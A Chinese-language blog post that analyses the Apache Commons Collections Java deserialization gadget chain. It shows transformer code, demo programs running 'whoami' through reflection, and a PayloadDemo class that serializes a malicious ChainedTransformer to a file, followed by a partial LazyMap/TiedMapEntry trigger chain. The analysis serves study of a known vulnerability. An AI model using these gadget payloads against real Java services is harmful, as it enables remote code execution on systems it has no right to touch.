Java Commons Collection 反序列化分析

badmonkey 2021年05月21日 1,002次浏览

Java Commons Collection 反序列化分析

前言

之前简单的学习过java反序列化的例子,大致原理就是调用readObject,反序列化一个对象,同时readObject会跟着执行一些方法,导致执行任意代码。这里学习的是java cc链,Apache Commons CollectionsApache Commons的组件,它们是从Java API派生而来的,并为Java语言提供了组件体系结构。 Commons-Collections试图通过提供新的接口,实现和实用程序来构建JDK类。

gadgets分析

首先分析InvokerTransformer这个类,

public class InvokerTransformer implements Transformer, Serializable {
    static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public static Transformer getInstance(String methodName) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        } else {
            return new InvokerTransformer(methodName);
        }
    }

    public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        } else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {
            throw new IllegalArgumentException("The parameter types must match the arguments");
        } else if (paramTypes != null && paramTypes.length != 0) {
            paramTypes = (Class[])paramTypes.clone();
            args = (Object[])args.clone();
            return new InvokerTransformer(methodName, paramTypes, args);
        } else {
            return new InvokerTransformer(methodName);
        }
    }

    private InvokerTransformer(String methodName) {
        this.iMethodName = methodName;
        this.iParamTypes = null;
        this.iArgs = null;
    }

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }
}

关注一下transform方法,存在反射调用成员方法的可能!

Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

那么需要控制input为被执行的对象,iMethodName,iParamTypes为方法的名字和参数类型。iArgs为实际的参数,这些都是可控的,只需要调用有参构造方法即可。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

总结InvokerTransformer提供了反射调用对象方法的可能,只要构造相应的参数即可。下面是一个简单的例子

public class InvokerGadgets {

    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"whoami"});

        Process process = (Process) invokerTransformer.transform(Runtime.getRuntime());// 由于需要有一个input为runtime实例,因为transform方法会调用getclass方法
        Scanner scanner = new Scanner(process.getInputStream());
        String res  = scanner.hasNext()?scanner.next():"";
        System.out.println(res);
    }
}

然后看一下ChainedTransformer这个类,只需要关注其中几个主要的方法即可,注意到其中transform方法的循环中,会将object作为参数,同时更新object,作为下一次transform的参数。

public class ChainedTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 3514945074733160196L;
    private final Transformer[] iTransformers;

    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }
    public Transformer[] getTransformers() {
        return this.iTransformers;
    }
}

构造InvokerTransform时,需要显式的调用transform方法且其参数为一个runtime实例,这样的场景显然不会出现,利用ChainedTransformer则可以降低利用的难度,因为object会被更新,且作为参数传入transform方法,但是仍需要构造一个transform后会返回runtime实例的transformer类,这样子才能够触发InvokerTransformer的反射到Runtime。下面时没有构造链时的利用,可以发现还是需要手动输入Runtime实例,这个时候需要另一个gadgetsConstantTransformer

public class ChainedGadgets {

    public static void main(String[] args) {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"whoami"})
        });
        Process process = (Process) chainedTransformer.transform(Runtime.getRuntime());
        Scanner scanner = new Scanner(process.getInputStream());
        String res = scanner.hasNext()?scanner.next():"";
        System.out.println(res);
    }
}

看一下ConstantTransformer主要方法

public class ConstantTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 6374440726369055124L;
    public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
    private final Object iConstant;

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }
}

看到了其中的transform方法会返回iConstant属性,而这个属性是在创建对象的时候赋值的,于是可以利用这三个Gadgets构造一个链

public class ConstantGadgets {
    public static void main(String[] args) {
        ChainedTransformer chainedTransformer = new ChainedTransformer(
                new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"whoami"})}
        );
        Process process = (Process) chainedTransformer.transform(null);
        Scanner scanner = new Scanner(process.getInputStream());
        String res = scanner.hasNext()?scanner.next():"";
        System.out.println(res);
    }
}

这样子后端代码,只需要调用transform方法就可以实现任意代码执行,比如下面这种的后端代码

InputStream iii = request.getInputStream();
ObjectInputStream in = new ObjectInputStream(iii);
obj = in.readObject();
obj.transform(object);
in.close();

但是如果直接将上述的ConstantGadgets直接反序列化,会出现报错(因为Runtime.getRuntime会获得runtime实例,而runtime实例时不能被反序列化的)。那么需要通过反射的方法获取runtime实例,payload如下。

public class PayloadDemo {
    public static void main(String[] args) {

        Transformer[] transformers = new Transformer[]{
//           Runtime.class.getMethod("getRuntime").invoke().exec("whoami")
//                Runtime.class.getMethod("getRuntime").invoke()
          // 获取 Runtime class 对象
            new ConstantTransformer(Runtime.class), // 更新参数为Runtime.class
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),// 调用getMethod 返回getRuntime方法
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),// 反射getRuntime返回Runtime实例
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"whoami"})// 利用exec 执行任意代码
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        try(
                FileOutputStream fos = new FileOutputStream("payload.txt");
                ObjectOutputStream oos = new ObjectOutputStream(fos);
            ){
            oos.writeObject(chainedTransformer);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

不过实际环境中可能也并不会存在直接对一个反序列化的对象进行transform方法,所以还是需要继续构造。

攻击链

首先需要寻找一个可以执行transform的类,找到一个/org/apache/commons/collections/map/TransformedMap.class

protected Object transformKey(Object object) {
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

可以看到transformedmap有两个方法可以调用transform,跟进transformValuetransformKey方法,可发现在put方法中调用了上述两种方法

public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}

调用transform方法的问题,已经解决,但是还需要控制调用者为恶意的输入才行,即valueTransformerkeyTransformer需要被用户控制,这个时候第一反应是寻找构造函数

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

到此已经可以构造一个不需要显示调用transform的payload,但是如果想要达到反序列化RCE还是需要调用readObject方法,同时readObject方法还需要调用map的相关方法,触发transform执行任意代码。

由于笔者这里使用的是jdk9,没有相关的readObject可以直接触发,这里使用toString触发的一种攻击链

/org/apache/commons/collections/map/LazyMap.java中存在get方法,可以调用transform方法和put方法。

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

其factory也是可控的,其构造函数如下

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = factory;
    }
}

可以通过toString调用getKey方法,其中TiedMapEntry类的getValue方法会调用get方法进而触发transform

// LazyMap
public String toString() {
    return this.getKey() + "=" + this.getValue();
}
// TiedMapEntry
public Object getValue() {
    return this.map.get(this.key);
}
// TiedMapEntry->toString==>TiedMapEntry->getValue ==> LazyMap->get() ==> 触发transform

参考链接

https://www.smi1e.top/2019/07/17/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4%B9%8Bapache-commons-collections/

https://xz.aliyun.com/t/8500

http://www.jackson-t.ca/runtime-exec-payloads.html